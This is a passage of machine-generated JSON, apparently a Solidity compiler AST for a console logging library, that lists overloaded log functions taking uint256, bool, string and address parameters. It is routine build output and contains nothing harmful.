\"log(uint256,bool,string)\""},"value":"log(uint256,bool,string)"},{"id":24886,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24875,"src":"11126:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24887,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24877,"src":"11130:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":24888,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24879,"src":"11134:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_85775021582c57b14e9e0b33e0f693439478099486817fe4214a503f559f37df","typeString":"literal_string \"log(uint256,bool,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":24883,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"11074:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24884,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11078:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"11074:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24889,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11074:63:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24882,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"11058:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24890,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11058:80:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24891,"nodeType":"ExpressionStatement","src":"11058:80:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"10991:3:15","parameters":{"id":24880,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24875,"mutability":"mutable","name":"p0","nameLocation":"11003:2:15","nodeType":"VariableDeclaration","scope":24893,"src":"10995:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24874,"name":"uint256","nodeType":"ElementaryTypeName","src":"10995:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24877,"mutability":"mutable","name":"p1","nameLocation":"11012:2:15","nodeType":"VariableDeclaration","scope":24893,"src":"11007:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24876,"name":"bool","nodeType":"ElementaryTypeName","src":"11007:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":24879,"mutability":"mutable","name":"p2","nameLocation":"11030:2:15","nodeType":"VariableDeclaration","scope":24893,"src":"11016:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24878,"name":"string","nodeType":"ElementaryTypeName","src":"11016:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"10994:39:15"},"returnParameters":{"id":24881,"nodeType":"ParameterList","parameters":[],"src":"11048:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24913,"nodeType":"FunctionDefinition","src":"11151:152:15","nodes":[],"body":{"id":24912,"nodeType":"Block","src":"11208:95:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c626f6f6c29","id":24905,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11258:24:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_207186500d54a80dae0e8fae760b583cb518c2c49967db59c8f7e5596879c0b6","typeString":"literal_string \"log(uint256,bool,bool)\""},"value":"log(uint256,bool,bool)"},{"id":24906,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24895,"src":"11284:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24907,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24897,"src":"11288:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":24908,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24899,"src":"11292:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_207186500d54a80dae0e8fae760b583cb518c2c49967db59c8f7e5596879c0b6","typeString":"literal_string \"log(uint256,bool,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":24903,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"11234:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24904,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11238:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"11234:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24909,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11234:61:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24902,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"11218:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24910,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11218:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24911,"nodeType":"ExpressionStatement","src":"11218:78:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11160:3:15","parameters":{"id":24900,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24895,"mutability":"mutable","name":"p0","nameLocation":"11172:2:15","nodeType":"VariableDeclaration","scope":24913,"src":"11164:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24894,"name":"uint256","nodeType":"ElementaryTypeName","src":"11164:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24897,"mutability":"mutable","name":"p1","nameLocation":"11181:2:15","nodeType":"VariableDeclaration","scope":24913,"src":"11176:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24896,"name":"bool","nodeType":"ElementaryTypeName","src":"11176:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":24899,"mutability":"mutable","name":"p2","nameLocation":"11190:2:15","nodeType":"VariableDeclaration","scope":24913,"src":"11185:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24898,"name":"bool","nodeType":"ElementaryTypeName","src":"11185:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"11163:30:15"},"returnParameters":{"id":24901,"nodeType":"ParameterList","parameters":[],"src":"11208:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24933,"nodeType":"FunctionDefinition","src":"11309:158:15","nodes":[],"body":{"id":24932,"nodeType":"Block","src":"11369:98:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c6164647265737329","id":24925,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11419:27:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_35085f7b74fe0b67ab2d779d94b2a1efc14ce8d637e06ffda83ca305116f3c99","typeString":"literal_string \"log(uint256,bool,address)\""},"value":"log(uint256,bool,address)"},{"id":24926,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24915,"src":"11448:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24927,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24917,"src":"11452:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":24928,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24919,"src":"11456:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_35085f7b74fe0b67ab2d779d94b2a1efc14ce8d637e06ffda83ca305116f3c99","typeString":"literal_string \"log(uint256,bool,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":24923,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"11395:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24924,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11399:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"11395:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24929,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11395:64:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24922,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"11379:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24930,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11379:81:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24931,"nodeType":"ExpressionStatement","src":"11379:81:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11318:3:15","parameters":{"id":24920,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24915,"mutability":"mutable","name":"p0","nameLocation":"11330:2:15","nodeType":"VariableDeclaration","scope":24933,"src":"11322:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24914,"name":"uint256","nodeType":"ElementaryTypeName","src":"11322:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24917,"mutability":"mutable","name":"p1","nameLocation":"11339:2:15","nodeType":"VariableDeclaration","scope":24933,"src":"11334:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24916,"name":"bool","nodeType":"ElementaryTypeName","src":"11334:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":24919,"mutability":"mutable","name":"p2","nameLocation":"11351:2:15","nodeType":"VariableDeclaration","scope":24933,"src":"11343:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24918,"name":"address","nodeType":"ElementaryTypeName","src":"11343:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"11321:33:15"},"returnParameters":{"id":24921,"nodeType":"ParameterList","parameters":[],"src":"11369:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24953,"nodeType":"FunctionDefinition","src":"11473:164:15","nodes":[],"body":{"id":24952,"nodeType":"Block","src":"11536:101:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c75696e7432353629","id":24945,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11586:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5a9b5ed5e0cc67953f5b0a58c12e9694944af5a126321ab88870dec3bc05a9ae","typeString":"literal_string \"log(uint256,address,uint256)\""},"value":"log(uint256,address,uint256)"},{"id":24946,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24935,"src":"11618:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24947,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24937,"src":"11622:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":24948,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24939,"src":"11626:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5a9b5ed5e0cc67953f5b0a58c12e9694944af5a126321ab88870dec3bc05a9ae","typeString":"literal_string \"log(uint256,address,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":24943,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"11562:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24944,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11566:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"11562:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24949,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11562:67:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24942,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"11546:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24950,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11546:84:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24951,"nodeType":"ExpressionStatement","src":"11546:84:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11482:3:15","parameters":{"id":24940,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24935,"mutability":"mutable","name":"p0","nameLocation":"11494:2:15","nodeType":"VariableDeclaration","scope":24953,"src":"11486:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24934,"name":"uint256","nodeType":"ElementaryTypeName","src":"11486:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24937,"mutability":"mutable","name":"p1","nameLocation":"11506:2:15","nodeType":"VariableDeclaration","scope":24953,"src":"11498:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24936,"name":"address","nodeType":"ElementaryTypeName","src":"11498:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":24939,"mutability":"mutable","name":"p2","nameLocation":"11518:2:15","nodeType":"VariableDeclaration","scope":24953,"src":"11510:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24938,"name":"uint256","nodeType":"ElementaryTypeName","src":"11510:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"11485:36:15"},"returnParameters":{"id":24941,"nodeType":"ParameterList","parameters":[],"src":"11536:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24973,"nodeType":"FunctionDefinition","src":"11643:169:15","nodes":[],"body":{"id":24972,"nodeType":"Block","src":"11712:100:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c737472696e6729","id":24965,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11762:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_63cb41f9a63efe5dfacd3a2836bdef664d136fd6113f8e931c31a919af38935c","typeString":"literal_string \"log(uint256,address,string)\""},"value":"log(uint256,address,string)"},{"id":24966,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24955,"src":"11793:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24967,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24957,"src":"11797:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":24968,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24959,"src":"11801:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_63cb41f9a63efe5dfacd3a2836bdef664d136fd6113f8e931c31a919af38935c","typeString":"literal_string \"log(uint256,address,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":24963,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"11738:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24964,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11742:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"11738:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24969,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11738:66:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24962,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"11722:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11722:83:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24971,"nodeType":"ExpressionStatement","src":"11722:83:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11652:3:15","parameters":{"id":24960,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24955,"mutability":"mutable","name":"p0","nameLocation":"11664:2:15","nodeType":"VariableDeclaration","scope":24973,"src":"11656:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24954,"name":"uint256","nodeType":"ElementaryTypeName","src":"11656:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24957,"mutability":"mutable","name":"p1","nameLocation":"11676:2:15","nodeType":"VariableDeclaration","scope":24973,"src":"11668:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24956,"name":"address","nodeType":"ElementaryTypeName","src":"11668:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":24959,"mutability":"mutable","name":"p2","nameLocation":"11694:2:15","nodeType":"VariableDeclaration","scope":24973,"src":"11680:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24958,"name":"string","nodeType":"ElementaryTypeName","src":"11680:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"11655:42:15"},"returnParameters":{"id":24961,"nodeType":"ParameterList","parameters":[],"src":"11712:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24993,"nodeType":"FunctionDefinition","src":"11818:158:15","nodes":[],"body":{"id":24992,"nodeType":"Block","src":"11878:98:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c626f6f6c29","id":24985,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11928:27:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_9b6ec042c5598a780a5bfae5e9ea2c50c251da4c38db3a134b8857be618f0c5c","typeString":"literal_string \"log(uint256,address,bool)\""},"value":"log(uint256,address,bool)"},{"id":24986,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24975,"src":"11957:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":24987,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24977,"src":"11961:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":24988,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24979,"src":"11965:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9b6ec042c5598a780a5bfae5e9ea2c50c251da4c38db3a134b8857be618f0c5c","typeString":"literal_string \"log(uint256,address,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":24983,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"11904:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24984,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"11908:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"11904:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24989,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11904:64:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24982,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"11888:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24990,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11888:81:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24991,"nodeType":"ExpressionStatement","src":"11888:81:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11827:3:15","parameters":{"id":24980,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24975,"mutability":"mutable","name":"p0","nameLocation":"11839:2:15","nodeType":"VariableDeclaration","scope":24993,"src":"11831:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24974,"name":"uint256","nodeType":"ElementaryTypeName","src":"11831:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":24977,"mutability":"mutable","name":"p1","nameLocation":"11851:2:15","nodeType":"VariableDeclaration","scope":24993,"src":"11843:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24976,"name":"address","nodeType":"ElementaryTypeName","src":"11843:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":24979,"mutability":"mutable","name":"p2","nameLocation":"11860:2:15","nodeType":"VariableDeclaration","scope":24993,"src":"11855:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24978,"name":"bool","nodeType":"ElementaryTypeName","src":"11855:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"11830:33:15"},"returnParameters":{"id":24981,"nodeType":"ParameterList","parameters":[],"src":"11878:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25013,"nodeType":"FunctionDefinition","src":"11982:164:15","nodes":[],"body":{"id":25012,"nodeType":"Block","src":"12045:101:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c6164647265737329","id":25005,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12095:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_bcfd9be04f8d6b8ee1ae73075f8fe8db10e4b254a56103daa450197029a55fda","typeString":"literal_string \"log(uint256,address,address)\""},"value":"log(uint256,address,address)"},{"id":25006,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24995,"src":"12127:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25007,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24997,"src":"12131:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25008,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24999,"src":"12135:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_bcfd9be04f8d6b8ee1ae73075f8fe8db10e4b254a56103daa450197029a55fda","typeString":"literal_string 